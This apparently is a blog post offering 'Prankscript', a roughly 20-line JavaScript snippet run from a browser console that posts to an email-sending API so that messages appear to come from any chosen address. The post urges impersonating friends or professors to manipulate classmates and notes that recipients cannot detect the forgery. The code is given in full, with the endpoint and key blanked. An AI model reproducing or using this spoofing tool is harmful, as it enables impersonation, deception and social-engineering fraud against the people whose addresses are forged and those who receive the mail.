Prankscript lets you send emails to any email address from any email address in order to create awkward, funny, annoying or interesting situations. Let’s say you send love emails from one friend to a girl you know he’s into. Or emails from your professor to your classmates in order to make them do things for you. Or how about an email from Neil Shyam to one of your friends that’s doing a coding challenge congratulating him because “he won the challenge” (like I show in the video).

It is a simple hack (<20 lines) and it works like this: First you run it from any Javascript console (e.g. Chrome Dev Tools Console). Then it’ll ask you for the first victim’s email (the sender of the fake email) and after that, for the second victim’s email (the receiver). Lastly, it’ll ask you for a subject for the email and the current fake email’s content. Note that this content is not limited and it recognizes HTML so formal/credible emails are easier to make.

If the receiver is using a client (e.g. Google Inbox, Mail (Mac OS), Outlook, Mailbox) the receivers have no way to know that the email could be fake so many interesting situations can be generated from this.


Here's the code ( and also here: ):

alert('Prankscript. The 20 line script that will get you in trouble.');
alert('With Prankscript you can send emails from any email address.');
var jq = document.createElement('script');
jq.src = "https:////";
var vFromEmail= prompt('Enter the email of your first victim (from:)','Email');
var vToEmail= prompt('Enter the email of your second victim (to:)','Email');
var subject= prompt('Enter the subject of the email','Subject'); 
var content= prompt('Enter the content of the email (HTML allowed)','Content'); 
if (vFromEmail != null && vToEmail != null) {
$.ajax({type: 'POST',url: '',
data: {'key': 'API_KEY','message': {'from_email': vFromEmail,
'to': [{'email': vToEmail,'type': 'to'}],'autotext': 'true',
'subject': subject,'html': content}}}).done(function(response) {
alert('Your victim has been Prankscripted >:).');});}

API_KEY hidden for security purposes.

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